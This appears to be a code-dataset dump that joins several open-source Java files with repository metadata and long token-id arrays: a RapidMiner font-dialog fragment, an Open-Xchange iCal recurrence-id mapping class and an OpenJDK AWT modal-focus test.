Font titleFont = getPlotConfiguration().getTitleFont();
if (titleFont == null) {
titleFont = new Font("Dialog", Font.PLAIN, 10);
}
FontDialog fontDialog = new FontDialog(this, titleFont, "plotter.configuration_dialog.global_config_panel.select_title_font");
fontDialog.setVisible(true);
fontDialog.requestFocus();
if (fontDialog.getReturnStatus() == FontDialog.RET_OK) {
Font font = fontDialog.getFont();
getPlotConfiguration().setTitleFont(font);
}
fontDialog.dispose();
}
@Override
public boolean plotConfigurationChanged(PlotConfigurationChangeEvent change) {
return true;
}
}
| 4,161
|
Java
|
.java
|
rapidminer/rapidminer-5
| 116
| 77
| 0
|
2013-08-07T12:01:58Z
|
2014-10-30T12:49:43Z
|
b1ed70ccfe02edfd16a67cf56e3f0a5a6db61939eb9c794065431b14effb49c0
|
[
1127,
222,
338,
244,
578,
15740,
43180,
222,
338,
222,
338,
244,
2657,
327,
72,
46,
244,
55,
53,
53,
54,
50,
55,
53,
54,
57,
829,
578,
15740,
43180,
480,
341,
13356,
222,
338,
222,
338,
244,
22309,
1168,
451,
15470,
3322,
840,
3027,
2692,
4769,
63,
222,
338,
222,
338,
981,
1930,
574,
31360,
36385,
51,
527,
222,
338,
222,
338,
244,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
244,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
244,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
244,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
244,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
244,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
244,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
244,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
244,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
244,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
1930,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
4735,
222,
588,
222,
1337,
785,
51,
31360,
36385,
51,
8472,
51,
909,
100,
3570,
410,
51,
8472,
64,
222,
222,
485,
1401,
51,
8236,
51,
1530,
64,
222,
485,
1401,
51,
8236,
51,
3728,
64,
222,
485,
1401,
51,
8236,
51,
1585,
51,
18126,
64,
222,
222,
485,
3698,
51,
5934,
51,
32880,
64,
222,
485,
3698,
51,
5934,
51,
79,
1530,
21216,
64,
222,
485,
3698,
51,
5934,
51,
22786,
64,
222,
222,
485,
785,
51,
31360,
36385,
51,
8472,
51,
909,
100,
3570,
410,
51,
5990,
51,
11756,
2339,
64,
222,
485,
785,
51,
31360,
36385,
51,
8472,
51,
909,
100,
3570,
410,
51,
624,
51,
11756,
1825,
64,
222,
485,
785,
51,
31360,
36385,
51,
8472,
51,
909,
100,
3570,
410,
51,
9447,
51,
5070,
51,
11756,
2339,
25211,
64,
222,
485,
785,
51,
31360,
36385,
51,
8472,
51,
4303,
51,
2305,
1728,
64,
222,
485,
785,
51,
31360,
36385,
51,
8472,
51,
4303,
51,
2305,
2186,
64,
222,
485,
785,
51,
31360,
36385,
51,
4303,
51,
78,
54,
61,
83,
64,
222,
222,
1350,
222,
338,
496,
2133,
508,
18321,
44928,
46245,
222,
338,
1676,
588,
222,
942,
462,
16078,
3188,
2339,
2894,
2041,
7406,
2339,
3686,
320,
499,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
222,
221,
2072,
6297,
2186,
1799,
3728,
2186,
64,
222,
221,
2072,
24328,
1799,
3728,
21216,
1732,
64,
222,
221,
2072,
24328,
1799,
1530,
21216,
1732,
64,
376,
499,
221,
942,
16078,
3188,
2339,
2894,
45,
11756,
1825,
7036,
1825,
46,
320,
376,
221,
5282,
45,
3570,
1825,
312,
376,
221,
1315,
8176,
492,
376,
221,
19638,
10586,
492,
222,
221,
130,
499,
221,
2072,
782,
1506,
8176,
365,
320,
4102,
221,
325,
1506,
17921,
2377,
2720,
376,
221,
128,
374,
221,
1333,
3728,
2186,
299,
556,
6297,
2186,
459,
3570,
410,
51,
5990,
100,
5962,
51,
1333,
100,
2204,
742,
1676,
374,
221,
1333,
3728,
21216,
1732,
299,
556,
24328,
45,
909,
6297,
1728,
45,
1527,
49,
332,
3570,
410,
51,
5990,
100,
5962,
51,
1333,
100,
2204,
678,
320,
244,
13699,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
5033,
221,
69,
1806,
621,
221,
942,
782,
29546,
45,
18126,
503,
46,
320,
596,
221,
1315,
3188,
3728,
3742,
492,
9186,
621,
221,
130,
374,
221,
1933,
374,
221,
1333,
3728,
2186,
51,
44062,
1580,
45,
1333,
3728,
21216,
1732,
312,
2556,
221,
688,
8625,
1735,
2368,
45,
597,
49,
1799,
3728,
2186,
49,
1799,
3728,
21216,
1732,
312,
376,
221,
130,
4102,
221,
325,
1035,
5900,
6100,
1646,
1989,
10442,
7785,
376,
221,
128,
374,
221,
22786,
1799,
1530,
2186,
299,
556,
6297,
2186,
459,
3570,
410,
51,
5990,
100,
5962,
51,
1333,
100,
1507,
742,
1676,
374,
221,
1333,
1530,
21216,
1732,
299,
556,
24328,
45,
909,
6297,
1728,
45,
1527,
49,
332,
3570,
410,
51,
5990,
100,
5962,
51,
1333,
100,
1507,
678,
320,
13699,
221,
2072,
924,
1175,
1964,
19896,
299,
244,
54,
81,
64,
5033,
221,
69,
1806,
621,
221,
942,
782,
29546,
45,
18126,
503,
46,
320,
596,
221,
1315,
3188,
1530,
3742,
492,
9186,
621,
221,
130,
374,
221,
1933,
374,
221,
1333,
1530,
2186,
51,
44062,
1580,
45,
1333,
1530,
21216,
1732,
312,
8212,
221,
688,
8625,
1735,
2368,
45,
597,
49,
1799,
1530,
2186,
49,
1799,
1530,
21216,
1732,
312,
1332,
221,
130,
499,
221,
130,
3067,
221,
69,
1806,
222,
221,
5332,
782,
15963,
10586,
365,
320,
3038,
221,
130,
499,
221,
2072,
782,
1506,
3188,
1530,
3742,
365,
320,
376,
221,
1530,
3627,
1530,
299,
640,
11756,
2339,
941,
29733,
1530,
492,
376,
221,
344,
327,
1477,
1530,
630,
762,
46,
320,
374,
221,
1477,
1530,
299,
19171,
2339,
51,
5815,
100,
13772,
100,
6237,
64,
376,
221,
130,
376,
221,
1530,
556,
1829,
1530,
299,
990,
1530,
21216,
51,
2276,
3742,
45,
597,
49,
621,
221,
78,
54,
61,
83,
51,
390,
11501,
1484,
834,
459,
3570,
410,
51,
5990,
100,
5962,
51,
3277,
100,
1180,
100,
4719,
51,
1333,
100,
2204,
100,
1507,
100,
1333,
51,
1194,
2132,
3627,
1530,
312,
4517,
221,
344,
327,
909,
1829,
1530,
882,
762,
979,
13687,
909,
1829,
1530,
51,
3591,
45,
1477,
1530,
2636,
320,
374,
221,
390,
11756,
2339,
941,
17359,
1530,
45,
909,
1829,
1530,
312,
376,
221,
130,
222,
221,
130,
3038,
221,
2072,
782,
1506,
3188,
3728,
3742,
365,
320,
376,
221,
3728,
1799,
3728,
299,
640,
11756,
2339,
941,
29733,
3728,
492,
1332,
221,
344,
327,
1333,
3728,
630,
762,
46,
320,
374,
221,
1333,
3728,
299,
556,
8929,
459,
3742,
411,
8929,
51,
33722,
49,
244,
54,
53,
312,
376,
221,
130,
1332,
221,
3728,
3742,
2377,
3742,
299,
556,
8929,
3742,
45,
597,
49,
1799,
3728,
49,
332,
3570,
410,
51,
5990,
100,
5962,
51,
3277,
100,
1180,
100,
4719,
51,
1632,
100,
1333,
100,
2204,
742,
1332,
221,
2204,
3742,
51,
18215,
45,
1527,
312,
376,
221,
2204,
3742,
51,
1375,
8105,
492,
376,
221,
344,
327,
2204,
3742,
51,
390,
2907,
1551,
365,
630,
8929,
3742,
51,
8556,
100,
2966,
46,
320,
374,
221,
3728,
2377,
299,
2377,
3742,
51,
44828,
492,
374,
221,
390,
11756,
2339,
941,
17359,
3728,
45,
2204,
312,
376,
221,
130,
376,
221,
2204,
3742,
51,
19904,
492,
222,
221,
130,
499,
221,
69,
1806,
222,
221,
942,
1922,
7036,
2339,
3663,
45,
11756,
2339,
25211,
1557,
46,
320,
376,
221,
620,
878,
64,
222,
221,
130,
222,
130,
222
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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,136
| true
| 74.57342
| true
| true
|
RecurrenceIdMapping.java
|
/FileExtraction/Java_unseen/open-xchange_appsuite-middleware/com.openexchange.chronos.ical.ical4j/src/com/openexchange/chronos/ical/ical4j/mapping/available/RecurrenceIdMapping.java
|
/*
* @copyright Copyright (c) OX Software GmbH, Germany <[email protected]>
* @license AGPL-3.0
*
* This code is free software: you can redistribute it and/or modify
* it under the terms of the GNU Affero General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU Affero General Public License for more details.
*
* You should have received a copy of the GNU Affero General Public License
* along with OX App Suite. If not, see <https://www.gnu.org/licenses/agpl-3.0.txt>.
*
* Any use of the work other than as authorized under this license or copyright law is prohibited.
*
*/
package com.openexchange.chronos.ical.ical4j.mapping.available;
import org.dmfs.rfc5545.DateTime;
import com.openexchange.chronos.common.DefaultRecurrenceId;
import com.openexchange.chronos.ical.ical4j.mapping.ICalDateTimeMapping;
import net.fortuna.ical4j.model.Property;
import net.fortuna.ical4j.model.component.Available;
import net.fortuna.ical4j.model.property.DateProperty;
import net.fortuna.ical4j.model.property.RecurrenceId;
/**
* {@link RecurrenceIdMapping}
*
* @author <a href="mailto:[email protected]">Ioannis Chouklis</a>
*/
public class RecurrenceIdMapping extends ICalDateTimeMapping<Available, com.openexchange.chronos.Available> {
/**
* Initializes a new {@link RecurrenceIdMapping}.
*/
public RecurrenceIdMapping() {
super(Property.RECURRENCE_ID);
}
@Override
protected DateTime getValue(com.openexchange.chronos.Available object) {
com.openexchange.chronos.RecurrenceId value = object.getRecurrenceId();
return null == value ? null : value.getValue();
}
@Override
protected void setValue(com.openexchange.chronos.Available object, DateTime value) {
object.setRecurrenceId(null != value ? new DefaultRecurrenceId(value) : null);
}
@Override
protected DateProperty createProperty() {
return new RecurrenceId();
}
@Override
protected DateProperty getProperty(Available component) {
return (DateProperty) component.getProperty(Property.RECURRENCE_ID);
}
}
| 2,411
|
Java
|
.java
|
open-xchange/appsuite-middleware
| 11
| 8
| 0
|
2018-11-16T10:18:56Z
|
2022-11-14T14:03:46Z
|
a9101255e26a8dfe1b96d418aa5698430da692cc07750e3809eef85f5db544c5
|
[
1127,
222,
338,
496,
11793,
2657,
327,
104,
46,
565,
93,
3870,
34723,
49,
44851,
350,
1357,
69,
1693,
50,
125,
2357,
51,
527,
67,
222,
338,
496,
2094,
418,
21156,
50,
56,
51,
53,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
30994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
3173,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
327,
288,
1390,
2489,
46,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
222,
338,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
30994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
30994,
6153,
5062,
1196,
222,
338,
7979,
642,
565,
93,
2013,
25280,
51,
244,
1691,
666,
49,
2337,
350,
662,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
52,
500,
576,
50,
56,
51,
53,
51,
2787,
4513,
222,
338,
222,
338,
6213,
813,
451,
341,
1409,
1623,
2806,
641,
23760,
1549,
477,
3553,
575,
5550,
4940,
458,
552,
43814,
51,
222,
338,
222,
588,
222,
222,
1337,
785,
51,
1693,
11435,
51,
4357,
519,
51,
1599,
51,
1599,
57,
111,
51,
9399,
51,
7249,
64,
222,
222,
485,
1105,
51,
6570,
2569,
51,
21168,
58,
58,
57,
58,
51,
4861,
64,
222,
485,
785,
51,
1693,
11435,
51,
4357,
519,
51,
2297,
51,
2061,
8347,
15029,
625,
64,
222,
485,
785,
51,
1693,
11435,
51,
4357,
519,
51,
1599,
51,
1599,
57,
111,
51,
9399,
51,
1122,
298,
4861,
4815,
64,
222,
485,
3723,
51,
9766,
12181,
51,
1599,
57,
111,
51,
1184,
51,
1667,
64,
222,
485,
3723,
51,
9766,
12181,
51,
1599,
57,
111,
51,
1184,
51,
2307,
51,
8590,
64,
222,
485,
3723,
51,
9766,
12181,
51,
1599,
57,
111,
51,
1184,
51,
2449,
51,
1563,
1667,
64,
222,
485,
3723,
51,
9766,
12181,
51,
1599,
57,
111,
51,
1184,
51,
2449,
51,
8347,
15029,
625,
64,
222,
222,
1350,
222,
338,
3105,
1222,
29673,
15029,
625,
4815,
130,
222,
338,
222,
338,
496,
2133,
350,
102,
995,
366,
16951,
63,
735,
1039,
316,
51,
399,
663,
9956,
316,
69,
1693,
50,
125,
2357,
51,
527,
432,
12092,
1039,
316,
1902,
663,
9956,
316,
396,
102,
67,
222,
588,
222,
942,
462,
29673,
15029,
625,
4815,
2041,
457,
3524,
4861,
4815,
65,
8590,
49,
785,
51,
1693,
11435,
51,
4357,
519,
51,
8590,
67,
320,
465,
1041,
294,
338,
21010,
331,
556,
3105,
1222,
29673,
15029,
625,
4815,
4037,
294,
588,
303,
581,
29673,
15029,
625,
4815,
365,
320,
310,
2615,
45,
1667,
51,
6770,
1282,
17026,
1973,
100,
798,
312,
303,
339,
465,
496,
1806,
303,
2532,
6674,
21517,
45,
527,
51,
1693,
11435,
51,
4357,
519,
51,
8590,
1319,
46,
320,
310,
785,
51,
1693,
11435,
51,
4357,
519,
51,
8347,
15029,
625,
804,
299,
1319,
51,
390,
8347,
15029,
625,
492,
310,
461,
762,
630,
804,
1037,
762,
518,
804,
51,
6693,
492,
303,
339,
465,
496,
1806,
303,
2532,
782,
27609,
45,
527,
51,
1693,
11435,
51,
4357,
519,
51,
8590,
1319,
49,
6674,
804,
46,
320,
310,
1319,
51,
489,
8347,
15029,
625,
45,
1710,
882,
804,
1037,
556,
4119,
8347,
15029,
625,
45,
872,
46,
518,
762,
312,
303,
339,
465,
496,
1806,
303,
2532,
2833,
1667,
1506,
1667,
365,
320,
310,
461,
556,
29673,
15029,
625,
492,
303,
339,
465,
496,
1806,
303,
2532,
2833,
1667,
46207,
45,
8590,
2595,
46,
320,
310,
461,
327,
1563,
1667,
46,
2595,
51,
12712,
45,
1667,
51,
6770,
1282,
17026,
1973,
100,
798,
312,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 650
| true
| 73.372045
| true
| true
|
NonFocusableBlockedOwnerTest.java
|
/FileExtraction/Java_unseen/SAP_SapMachine/test/jdk/java/awt/Focus/NonFocusableBlockedOwnerTest/NonFocusableBlockedOwnerTest.java
|
/*
* Copyright (c) 2005, 2022, Oracle and/or its affiliates. All rights reserved.
* DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER.
*
* This code is free software; you can redistribute it and/or modify it
* under the terms of the GNU General Public License version 2 only, as
* published by the Free Software Foundation.
*
* This code is distributed in the hope that it will be useful, but WITHOUT
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License
* version 2 for more details (a copy is included in the LICENSE file that
* accompanied this code).
*
* You should have received a copy of the GNU General Public License version
* 2 along with this work; if not, write to the Free Software Foundation,
* Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
*
* Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA
* or visit www.oracle.com if you need additional information or have any
* questions.
*/
/*
@test
@key headful
@bug 6272324
@summary Modal excluded Window which decorated parent is blocked should be non-focusable.
@modules java.desktop/sun.awt
@run main NonFocusableBlockedOwnerTest
*/
import java.awt.*;
import java.awt.event.*;
import java.lang.reflect.*;
public class NonFocusableBlockedOwnerTest {
Robot robot;
Frame frame = new Frame("Modal Blocked Frame");
Dialog dialog = new Dialog(frame, "Modal Dialog", true);
Window excluded = new Window(frame);
Button button = new Button("button");
public static void main(String[] args) {
NonFocusableBlockedOwnerTest app = new NonFocusableBlockedOwnerTest();
app.init();
app.start();
}
public void init() {
try {
robot = new Robot();
} catch (AWTException e) {
throw new RuntimeException("Error: unable to create robot", e);
}
}
public void start() {
try {
EventQueue.invokeLater(new Runnable() {
public void run() {
frame.setSize(300, 200);
frame.setVisible(true);
excluded.setSize(300, 200);
excluded.setLocation(0, 400);
excluded.setModalExclusionType(Dialog.ModalExclusionType.TOOLKIT_EXCLUDE);
excluded.setLayout(new FlowLayout());
excluded.add(button);
excluded.setVisible(true);
dialog.setSize(200, 100);
dialog.setLocation(0, 250);
dialog.setVisible(true);
}
});
} catch (Exception e) {
e.printStackTrace();
}
waitTillShown(dialog);
clickOn(button);
if (frame == KeyboardFocusManager.getCurrentKeyboardFocusManager().getActiveWindow()) {
throw new RuntimeException("Test failed!");
}
if (excluded == KeyboardFocusManager.getCurrentKeyboardFocusManager().getFocusedWindow()) {
throw new RuntimeException("Test failed!");
}
if (button == KeyboardFocusManager.getCurrentKeyboardFocusManager().getFocusOwner()) {
throw new RuntimeException("Test failed!");
}
System.out.println("Test passed.");
}
void clickOn(Component c) {
Point p = c.getLocationOnScreen();
Dimension d = c.getSize();
System.out.println("Clicking " + c);
if (c instanceof Frame) {
robot.mouseMove(p.x + (int)(d.getWidth()/2), p.y + ((Frame)c).getInsets().top/2);
} else {
robot.mouseMove(p.x + (int)(d.getWidth()/2), p.y + (int)(d.getHeight()/2));
}
robot.mousePress(InputEvent.BUTTON1_MASK);
robot.mouseRelease(InputEvent.BUTTON1_MASK);
waitForIdle();
}
void waitTillShown(Component c) {
while (true) {
try {
Thread.sleep(100);
c.getLocationOnScreen();
break;
} catch (InterruptedException e) {
throw new RuntimeException(e);
} catch (IllegalComponentStateException e) {}
}
}
void waitForIdle() {
try {
robot.waitForIdle();
EventQueue.invokeAndWait( new Runnable() {
public void run() {} // Dummy implementation
});
} catch(InterruptedException ie) {
System.out.println("waitForIdle, non-fatal exception caught:");
ie.printStackTrace();
} catch(InvocationTargetException ite) {
System.out.println("waitForIdle, non-fatal exception caught:");
ite.printStackTrace();
}
// wait longer...
robot.delay(200);
}
}
| 4,868
|
Java
|
.java
|
SAP/SapMachine
| 487
| 90
| 10
|
2017-11-13T21:40:03Z
|
2024-05-09T00:31:05Z
|
697d24b63696278ae5b8f2192cc68aef0ebcff16345b8405b760d9a05c7230ad
|
[
1127,
222,
338,
2657,
327,
104,
46,
244,
55,
53,
53,
58,
49,
244,
55,
53,
55,
55,
49,
17980,
480,
52,
290,
2840,
25094,
51,
3381,
4760,
5225,
51,
222,
338,
4103,
2387,
23740,
1895,
35234,
8995,
2387,
11988,
1895,
8968,
10961,
30441,
51,
222,
338,
222,
338,
1369,
1361,
458,
3760,
2951,
64,
863,
902,
14081,
580,
480,
52,
290,
5370,
580,
222,
338,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
1522,
244,
55,
1773,
49,
641,
222,
338,
9582,
829,
341,
7834,
3870,
7120,
51,
222,
338,
222,
338,
1369,
1361,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
49,
1294,
4213,
222,
338,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
7934,
575,
222,
338,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
6994,
6153,
5062,
1196,
222,
338,
1522,
244,
55,
456,
1851,
4261,
327,
102,
1948,
458,
5976,
347,
341,
7621,
822,
708,
222,
338,
20854,
297,
4850,
477,
1361,
566,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
1522,
222,
338,
244,
55,
7979,
642,
477,
1409,
64,
434,
666,
49,
2886,
391,
341,
7834,
3870,
7120,
49,
222,
338,
6367,
4345,
244,
58,
54,
34113,
1277,
49,
33316,
26912,
49,
25006,
49,
13083,
244,
53,
55,
54,
54,
53,
50,
54,
56,
53,
54,
15067,
51,
222,
338,
222,
338,
5304,
7272,
17980,
49,
244,
58,
53,
53,
17980,
27004,
3094,
49,
4777,
21100,
2432,
6868,
49,
10562,
244,
62,
57,
53,
59,
58,
15067,
222,
338,
575,
7739,
19955,
51,
11116,
51,
527,
434,
863,
1868,
5408,
2490,
575,
1178,
1364,
222,
338,
10034,
51,
222,
588,
222,
222,
1127,
353,
496,
881,
353,
496,
697,
5783,
2812,
353,
496,
1468,
282,
59,
55,
60,
55,
56,
55,
57,
353,
496,
1386,
283,
18708,
26304,
12016,
1532,
12999,
751,
2952,
458,
23593,
1414,
545,
3000,
50,
7753,
463,
51,
353,
496,
3490,
1401,
51,
10956,
52,
9886,
51,
8236,
353,
496,
1967,
370,
2594,
12511,
8105,
463,
33111,
6456,
1024,
222,
1975,
222,
222,
485,
1401,
51,
8236,
7737,
222,
485,
1401,
51,
8236,
51,
1585,
7737,
222,
485,
1401,
51,
1600,
51,
9069,
7737,
222,
222,
942,
462,
12511,
8105,
463,
33111,
6456,
1024,
320,
303,
23535,
13066,
64,
303,
7191,
3145,
299,
556,
7191,
459,
5827,
6579,
337,
7191,
742,
303,
13695,
7501,
299,
556,
13695,
45,
1763,
49,
332,
5827,
13695,
411,
878,
312,
303,
12016,
26304,
299,
556,
12016,
45,
1763,
312,
303,
7413,
3467,
299,
556,
7413,
459,
1654,
742,
465,
581,
924,
782,
2594,
45,
671,
1197,
2194,
46,
320,
310,
12511,
8105,
463,
33111,
6456,
1024,
1142,
299,
556,
12511,
8105,
463,
33111,
6456,
1024,
492,
310,
1142,
51,
1683,
492,
310,
1142,
51,
1384,
492,
303,
339,
465,
581,
782,
3238,
365,
320,
310,
1614,
320,
343,
13066,
299,
556,
23535,
492,
310,
339,
2385,
327,
7286,
89,
1002,
503,
46,
320,
343,
1440,
556,
13383,
459,
943,
63,
17043,
391,
1506,
13066,
411,
503,
312,
310,
339,
303,
339,
465,
581,
782,
1496,
365,
320,
310,
1614,
320,
343,
3916,
4098,
51,
7845,
31312,
45,
909,
18662,
365,
320,
419,
581,
782,
1441,
365,
320,
547,
3145,
51,
29572,
45,
56,
53,
53,
49,
244,
55,
53,
53,
312,
547,
3145,
51,
18215,
45,
1527,
312,
3704,
26304,
51,
29572,
45,
56,
53,
53,
49,
244,
55,
53,
53,
312,
547,
26304,
51,
35853,
45,
53,
49,
244,
57,
53,
53,
312,
547,
26304,
51,
489,
5827,
589,
13744,
638,
45,
3742,
51,
5827,
589,
13744,
638,
51,
15972,
39827,
100,
30292,
7212,
312,
547,
26304,
51,
20113,
45,
909,
12433,
2362,
1052,
547,
26304,
51,
688,
45,
1654,
312,
547,
26304,
51,
18215,
45,
1527,
312,
3704,
7501,
51,
29572,
45,
55,
53,
53,
49,
244,
54,
53,
53,
312,
547,
7501,
51,
35853,
45,
53,
49,
244,
55,
58,
53,
312,
547,
7501,
51,
18215,
45,
1527,
312,
419,
339,
343,
1141,
310,
339,
2385,
327,
1002,
503,
46,
320,
343,
503,
51,
9428,
492,
310,
339,
603,
4483,
89,
747,
29045,
45,
5962,
312,
310,
5035,
1501,
45,
1654,
312,
310,
434,
327,
1763,
630,
21281,
8105,
1590,
51,
12344,
12368,
8105,
1590,
941,
21637,
1684,
1177,
320,
343,
1440,
556,
13383,
459,
1024,
3818,
9318,
310,
339,
310,
434,
327,
35381,
630,
21281,
8105,
1590,
51,
12344,
12368,
8105,
1590,
941,
390,
26210,
1684,
1177,
320,
343,
1440,
556,
13383,
459,
1024,
3818,
9318,
310,
339,
310,
434,
327,
1654,
630,
21281,
8105,
1590,
51,
12344,
12368,
8105,
1590,
941,
390,
8105,
6456,
1177,
320,
343,
1440,
556,
13383,
459,
1024,
3818,
9318,
310,
339,
310,
1189,
51,
560,
51,
3962,
459,
1024,
5424,
5377,
303,
339,
465,
782,
5035,
1501,
45,
1735,
300,
46,
320,
310,
6460,
317,
299,
300,
51,
26716,
1501,
4627,
492,
310,
17432,
362,
299,
300,
51,
24600,
492,
603,
1189,
51,
560,
51,
3962,
459,
2668,
318,
332,
494,
300,
312,
603,
434,
327,
104,
5118,
7191,
46,
320,
343,
13066,
51,
7079,
5785,
45,
117,
51,
125,
494,
327,
429,
2516,
105,
51,
21398,
28486,
55,
490,
317,
51,
126,
494,
1849,
2163,
46,
104,
566,
390,
20375,
941,
1412,
52,
55,
312,
310,
339,
832,
320,
343,
13066,
51,
7079,
5785,
45,
117,
51,
125,
494,
327,
429,
2516,
105,
51,
21398,
28486,
55,
490,
317,
51,
126,
494,
327,
429,
2516,
105,
51,
22361,
28486,
55,
894,
310,
339,
310,
13066,
51,
7079,
8338,
45,
1630,
1167,
51,
15003,
54,
100,
6963,
312,
310,
13066,
51,
7079,
5820,
45,
1630,
1167,
51,
15003,
54,
100,
6963,
312,
310,
25115,
16306,
492,
303,
339,
465,
782,
4483,
89,
747,
29045,
45,
1735,
300,
46,
320,
310,
2236,
327,
1527,
46,
320,
343,
1614,
320,
419,
7806,
51,
7860,
45,
54,
53,
53,
312,
419,
300,
51,
26716,
1501,
4627,
492,
419,
1644,
64,
343,
339,
2385,
327,
28321,
503,
46,
320,
419,
1440,
556,
13383,
45,
106,
312,
343,
339,
2385,
327,
15083,
1735,
17179,
503,
46,
2172,
310,
339,
303,
339,
303,
782,
25115,
16306,
365,
320,
310,
1614,
320,
343,
13066,
51,
20955,
16306,
492,
343,
3916,
4098,
51,
7845,
2199,
6494,
45,
556,
18662,
365,
320,
547,
581,
782,
1441,
365,
2172,
453,
25222,
4753,
419,
1141,
310,
339,
2385,
45,
28321,
21777,
46,
320,
343,
1189,
51,
560,
51,
3962,
459,
20955,
16306,
49,
3000,
50,
23757,
3773,
27405,
20120,
343,
21777,
51,
9428,
492,
310,
339,
2385,
45,
13777,
40534,
580,
106,
46,
320,
343,
1189,
51,
560,
51,
3962,
459,
20955,
16306,
49,
3000,
50,
23757,
3773,
27405,
20120,
343,
580,
106,
51,
9428,
492,
310,
339,
603,
453,
4483,
8940,
1198,
310,
13066,
51,
7875,
45,
55,
53,
53,
312,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
